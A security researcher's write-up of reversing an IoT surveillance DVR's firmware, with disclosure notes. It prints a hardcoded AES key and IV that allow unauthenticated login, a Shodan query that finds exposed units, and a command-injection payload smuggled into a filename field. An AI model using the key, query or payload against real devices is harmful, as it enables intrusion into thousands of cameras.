Firmware Vulnerability Research // Field Notes

80 Days on an IoT DVR:
Three Real Bugs, No Bounty

Most firmware writeups end with a CVE. This one does not. What I have instead is three real bugs, proven at the instruction level, and about two months of watching them go nowhere.

The target was a white-label OEM surveillance DVR, HiSilicon Hi3521a, ARM32. Eighty days of reversing produced three genuine findings: a protocol authentication bypass from a hardcoded AES-256 key, an unsigned root upgrade chain that executes as uid 0 at boot, and a command injection sitting behind a two-character blocklist. All three are proven at the instruction level, with the disassembly in this post.

All three also paid nothing. The vendor has no security contact. ZDI, which does pay, declined on the grounds that consumer DVRs carry no enterprise acquisition value. The vulnerable firmware is real and in the wild, but the only device I could test had already been updated past it, so I never had a confirmed live exploit.

The three bugs are the deliverable, and you can reproduce them from what's in this post. The other half is the part I couldn't find written down anywhere: how to tell whether a target is worth two months before you spend the two months, and what to do when a correct report goes nowhere.

1. One DVR on the Bench, 28,006 on the Internet

The research began on my lab workbench with an owner-operated, 4-channel analog surveillance DVR (HD ANALOG 04, serial 50400768). The device was powered by a HiSilicon Hi3521a SoC (ARM32) running an embedded Linux kernel.

On the local network, the device exposed two primary services:

To understand the real-world attack surface of this stack, I extracted the HTML hash of the login viewer and queried Shodan:

# Shodan query via login viewer HTML hash
http.html_hash:1901075043

# Census Results:
Total exposed devices : 28,006 internet-facing units
Primary open ports    : 80, 443, 8000, 8080
Geographic spread     : Global (heavy density in APAC, EMEA, Latin America)

Seeing over 28,000 internet-facing devices running a custom binary daemon on port 8000 made the question obvious: Can an unauthenticated remote attacker compromise this fleet?

2. Architecture & Multi-Generational Firmware Extraction

To analyze the platform without risking permanent bricking of the bench unit, I obtained and unpacked firmware images spanning two separate platform generations:

Unpacking the root filesystems revealed three critical components:

/dvr/
├── gui-indus-3r            # Qt-based core UI & network event dispatcher
├── S90dvrd                 # SysV init boot orchestration script
└── lib/
    └── libdal.so           # Hardware abstraction layer & DNP protocol demux

3. The iSCSI Lead That Was Not One

Early in static analysis, I thought I had struck gold within 48 hours. Grepping strings inside libdal.so revealed blatant shell injection templates:

# Strings extracted from libdal.so (.rodata)
0x26df9c: /dvr/iscsiadm -m node --targetname "%s" --portal "%s:%d" --login
0x26df78: /dvr/iscsiadm -m discovery -t sendtargets -p %s
0x26dffc: /dvr/iscsiadm -m node --targetname "%s" --logout
0x26e030: /dvr/iscsiadm -m node -o delete "%s"

I assumed opcode 0x8130 (SET_ISCSI) could be invoked over port 8000 to deliver a command injection payload straight into system(). I spent days constructing packets and testing against the physical hardware.

The live device threw a ConnectionError and closed the socket immediately.

Instead of convincing myself the payload was just "malformed," I performed cross-reference analysis in radare2 and Ghidra (axt across all references):

Zero callers. Not one path from the network dispatcher into the iSCSI functions in libdal. They were invoked exclusively by the local Qt GUI (gui-indus-3r, TSetupIscsi), reading local config files. Physically unreachable over the network.

I formally retracted the finding in my notes. In security research, intellectual honesty is everything: code existing in a binary does not equal an exploitable remote vulnerability.

4. Three Findings in the Firmware

Finding 1: Protocol Authentication Bypass via Static AES-256 Key

The binary protocol running on TCP port 8000 frames packets with an 8-byte header: magic=0x5AA5, cmd (uint16), and length (uint32).

Analyzing opcode 0x8100 (the login handler) revealed that authentication is not tied to a password database. Instead, authentication relies on symmetric AES-256-CBC encryption using static keys hardcoded in the .rodata section of both libdal.so and gui-indus-3r:

KEY = b"dvr1234567!@#$%^&*()QWERTYUIOP%".ljust(32, b"\x00")
IV  = b"123456789012345\x00"

# Wire Handshake:
# 1. Client sends encrypted block: struct.pack(">5I", 1, 1, 1, len(inner), 0) + inner
#    where inner = AES_ENC(b"admin")
# 2. Server decrypts using the static key.
# 3. Server issues a per-session token used to encrypt subsequent commands.

I verified this live against the bench unit:

[+] login ok, session=b'06107402319800091b350e96HIJKLMN'
[+] devinfo serial=50400768 ver=0x00000620 name='HD ANALOG 04'

Anyone who has the static key can log in to any internet-facing device on port 8000. No credentials, no password database, nothing to steal.

Finding 2: The Unsigned Root Boot Upgrade Flow

Inspecting /etc/init.d/S90dvrd revealed how firmware updates are applied at system boot:

# /etc/init.d/S90dvrd boot logic
FWR=/dvr/fwr
if [ -f "$FWR" ]; then
    tar -zxvf $FWR ./upgrade
    chown root /dvr/upgrade
    chgrp root /dvr/upgrade
    chmod 755 /dvr/upgrade
    /dvr/upgrade $FWR reboot &
fi

There is no cryptographic signature verification anywhere in it. No RSA public key check, no digest validation. If a tar.gz archive containing an executable named ./upgrade is placed at /dvr/fwr, it executes automatically as root (uid 0) during boot.

Finding 3: Sscanf Command Injection & The Flawed Gate

In libdal, opcode 0x220 handled firmware staging. It parsed the incoming packet using sscanf:

sscanf(payload, "fname:%s size:%d ver:%s", &src_path, &file_size, &version);

The extracted src_path was stored in the context struct at offset +0x25311c. When opcode 0x221 (apply) was triggered, it called:

sprintf(buf, "mv %s /dvr/fwr.tmp", ctx->src_path);
sys_system(buf);

Looking at the disassembly of sys_system() at address 0x9cc70, the vendor had implemented a custom character filter. It checked and rejected only two characters: backticks (`) and dollar signs ($).

Semicolons (;), pipes (|), and output redirects (>) passed through unfiltered.

# Attacker payload:
fname:/dev/null;id>/www/pages/ROOTPWN.txt;# size:1 ver:1.2.3.4

# Resolves to:
system("mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp")

5. CPU Register-Level Proof with Unicorn Engine

To prove the vulnerability without relying on assumptions, I built an instruction-level CPU emulator in Python using Unicorn Engine (unicorn-rce.py).

The script mapped the actual stripped ARM32 binary (libdal-volans-hi3531d.so) directly into emulated memory, set up the ARM registers, populated the context struct with the injection payload, and stepped instructions:

# unicorn-rce.py snippet
mu = Uc(UC_ARCH_ARM, UC_MODE_ARM)
mu.mem_map(BASE, 0x2C0000)
mu.mem_write(BASE, elf_bytes[:0x2C0000])

# Inject payload into struct offset
mu.mem_write(CTX + 0x253208, b"/dev/null;id>/www/pages/ROOTPWN.txt;#\x00")
mu.reg_write(UC_ARM_REG_R0, CTX)
mu.reg_write(UC_ARM_REG_SP, STACK + 0x8000)

# Hook the BL sys_system call site
def hook(uc, addr, size, data):
    if addr in BL_SYSTEM:
        r0 = uc.reg_read(UC_ARM_REG_R0)
        print("[!] CAPTURED r0:", cstr(r0))

Execution transcript:

$ python3 unicorn-rce.py libdal-volans-hi3531d.so
map blob file[0:0x2c0000) @ 0x00400000 (entry f4cac=0x004f4cac)
[+] sprintf built: mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp
[!] CAPTURED r0 -> system("mv /dev/null;id>/www/pages/ROOTPWN.txt;# /dvr/fwr.tmp")
[+] PROVEN: Vendor ARM32 code passes unauthenticated attacker bytes directly to system()

6. NTP Injection: The Reboot That Proved Nothing

While investigating secondary attack surfaces, I discovered a command injection in the device's NTP configuration interface. Supplying a command in the NTP server parameter successfully wrote the payload into NVRAM, where it persisted across power cycles.

To trigger the reboot I used pwneye, an open-source ONVIF/RTSP tool. It crashed on devices with a blank admin password. Since pwneye is GPL and its Python source is on GitHub, I read the credential check, patched it locally to allow an empty password, and got the reboot to go through.

The box rebooted. The payload remained intact in NVRAM. But the root shell marker never appeared.

Disassembly of the 3.x startup sequence revealed the catch: the vendor had disabled the automated NTP synchronization routine at boot time in this build. The payload was safely stored in NVRAM, but the code path to execute it was dead.

7. Lab Infrastructure: Codespaces and Tor

Running heavy emulation and static decompilation on a Raspberry Pi 5 bench machine was impractical. I containerized the analysis environment and moved it to GitHub Codespaces:

8. The Firmware Divergence Problem

This is the part that ended the project.

  • Firmware versions 2.3.4.x and 2.3.7.x contained both the vulnerable 0x220/0x221 code and the active network dispatch handlers.
  • My Shodan census put the number of internet-facing devices still running the vulnerable 2.3.7.x build at 2,956.
  • However, my physical bench unit had been updated to 3.1.14.0 (0x620). On this newer branch, the vendor had migrated or dropped 0x220/0x221 from the network dispatch table.

I did not send test packets at any of those 2,956 devices. Every test ran against the bench unit.

On my bench hardware, the wire trigger was closed. On the internet fleet, the wire trigger was open, but off-limits.

9. Disclosure: No Contact, and a Broker Decline

I attempted coordinated vulnerability disclosure. There was no security contact, no security.txt, and no vendor portal. The only contact listed in the device manual was an unmonitored WhatsApp number. I sent detailed vulnerability advisories; no response ever arrived.

Next, I packaged the Ghidra disassemblies, Unicorn emulation scripts, wire transcripts, and PoCs into a dossier and submitted it to the Zero Day Initiative (ZDI).

ZDI operates a legitimate, well-funded acquisition program. But their business model relies on selling vulnerability intelligence to enterprise clients protecting Fortune 500 networks (VMware, Microsoft, Cisco, iOS).

Budget consumer surveillance DVRs have zero commercial acquisition value to corporate vulnerability feeds. The submission was declined.

By day 80, my Contabo VPS hosting had expired, my pocket balance was $0, and I couldn't afford to pay for OSCP+.

10. What I Would Do Differently

Nothing. I mean that literally. The technical work held up, the findings are real, and I'd defend every claim in this post. What I'd change is the order I did it in.

I picked this target because the protocol looked interesting. I should have spent the first week finding out who pays before I spent the second week reversing ARM32 firmware. That's the whole mistake, and it's the one I'd warn anyone starting out to avoid, because it's the one that feels free to skip.

The other thing I'd do is keep two columns from day one: what the binary proves, and what the network can actually reach. I didn't. By the end I had a fleet-wide finding on paper and a bench unit that had already been patched past the vulnerable code. Nothing stopped me from writing up 2,956 remote RCEs. The build divergence was the entire story, and it would have been very easy to leave out of the writeup and very easy to get a bounty for. I'd rather this post read slower and mean exactly what it says.

The tooling wasn't wasted, though. The ARM32 disassembly, Ghidra and Unicorn work, and the protocol auditing all went straight into what I build at Leviathan OffSec.

11. Reproducing This

The three findings are reproducible. Nothing below requires the original device, a vendor relationship, or network access to a third party.

# 1. Command injection (Finding 3)
#    libdal opcode 0x220 -> sscanf -> ctx->src_path
#    opcode 0x221 -> sprintf(buf, "mv %s /dvr/fwr.tmp", ctx->src_path)
#              -> sys_system(buf)
#    Blocklist covers only ` and $. Everything else passes.
#
#    Proof: emulate the stripped ARM32 object, set the context struct, capture
#    the argument register at the sys_system call site.
#
# 2. Unsigned upgrade (Finding 2)
#    /etc/init.d/S90dvrd -> /dvr/fwr
#    No RSA check, no digest. A tar.gz containing ./upgrade placed at
#    /dvr/fwr executes as uid 0 on next boot.
#
# 3. Hardcoded key (Finding 1)
#    Static AES-256 material in the protocol handshake, identical across units.
#    Extract with strings on the stripped .so, verify against a packet capture.

python3 unicorn-rce.py libdal-volans-hi3531d.so
Everything above was done on hardware I own. I did not send a single packet to any of the 28,006 indexed devices, and none of it should be reproduced against infrastructure you do not own.

About the Author

@cyeezy08 is an offensive security researcher and systems tooling developer. Founder of Leviathan OffSec, building high-concurrency Go tools and standard-library Python security utilities including HostageLVX and surfacediff.